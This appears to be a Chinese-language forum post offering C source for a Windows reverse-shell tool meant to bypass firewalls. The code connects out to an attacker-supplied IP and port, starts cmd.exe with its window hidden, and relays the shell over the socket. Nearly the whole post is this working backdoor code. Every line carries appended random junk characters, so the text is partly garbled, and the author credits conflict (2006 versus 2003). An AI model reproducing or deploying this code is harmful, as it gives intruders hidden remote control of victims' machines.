这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 T<6GcI>A
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/* ============================== 8ljuc5,J
Rebound port in Windows NT o<rsAe
By wind,2006/7 (0R2T"/
===============================*/ D"!jbVz]*
#include WL1\y|
#include '60//"9>k/
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#pragma comment(lib,"wsock32.lib") ?A&%Cwj
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void OutputShell(); bcn7,ht
SOCKET sClient; ,rai%T/rL
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; |z*>ixK
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void main(int argc,char **argv) lE'wfUb
{ Cfv]VQQE
WSADATA stWsaData; d@ (vg
int nRet; ~b6GrY"vB
SOCKADDR_IN stSaiClient,stSaiServer; (A4&k{C_
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if(argc != 3) H%z/v|e6
{ \0&SI1Yp
printf("Useage:\n\rRebound DestIP DestPort\n"); \z:<DsQ&
return; \=fh-c(J,
} l'uOORI
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WSAStartup(MAKEWORD(2,2),&stWsaData); V;;#/$oU:4
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E}YIWTX
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stSaiClient.sin_family = AF_INET; EEwWucQ
stSaiClient.sin_port = htons(0); wE6A
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ShGp^xVj
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) vaB!R 0
{ D/:3RZF
printf("Bind Socket Failed!\n"); q.T:0|
return; MI*Sq\-i
} ag;dc
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stSaiServer.sin_family = AF_INET; DFy1 bg
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ^l(^z fsZ
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); /b%Q[
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) WcEt%mGQ,
{ Mudrg[@`
printf("Connect Error!"); 0*yJ %
return; >rf5)Y~f
} [r9d<Zi}{
OutputShell(); |' ;7v)CIG
} '[0YIn
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void OutputShell() ab4LTF|
{ A*i_|]Q
char szBuff[1024]; ^yVl"/
SECURITY_ATTRIBUTES stSecurityAttributes; N!c
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OSVERSIONINFO stOsversionInfo; Uw <{i
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; hY=I5[*
STARTUPINFO stStartupInfo; ;_tO+xL&
char *szShell; X| <yq
PROCESS_INFORMATION stProcessInformation; %\I.DEYH
unsigned long lBytesRead; m UgRm]
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); *U_oao
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); r/PKrw sC
stSecurityAttributes.lpSecurityDescriptor = 0; l &Z(K,6
stSecurityAttributes.bInheritHandle = TRUE; 8&.-]{Z
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); P4 6,o
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); K\^&+7&zVg
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); LdEE+"Jw
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Tl3"PIb
stStartupInfo.wShowWindow = SW_HIDE; ?D=8{!R3
stStartupInfo.hStdInput = hReadPipe; f:vD`Fz1
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; p(?3
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GetVersionEx(&stOsversionInfo); C +@ i
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switch(stOsversionInfo.dwPlatformId) I?M@5u
{ q[c Etp28h
case 1: ,sI35I J
szShell = "command.com"; 6LM9e0oxy
break; {^m5#f 0"
default: oAz<G
szShell = "cmd.exe"; ) 4ncutb
break; 7I3 :u+
} ,q</@}.\wN
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 6x4_b
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send(sClient,szMsg,77,0); S@A<6
while(1) c&e0OV\m
{ rzT{-DZB[4
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ke6n/ h5`
if(lBytesRead) U>A6eWhH
{ !*bdG(pK
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); hr~.Lj5^W
send(sClient,szBuff,lBytesRead,0); UABbcNW
} e=J*Esc@k
else f{_)rsqf
{ wY`#$)O0*
lBytesRead=recv(sClient,szBuff,1024,0); #90c$ dc
if(lBytesRead<=0) break; "dq>)JF\
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); FG#nap{
} iNLDl~uU
} 8&?p
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return; )_Iz>)
}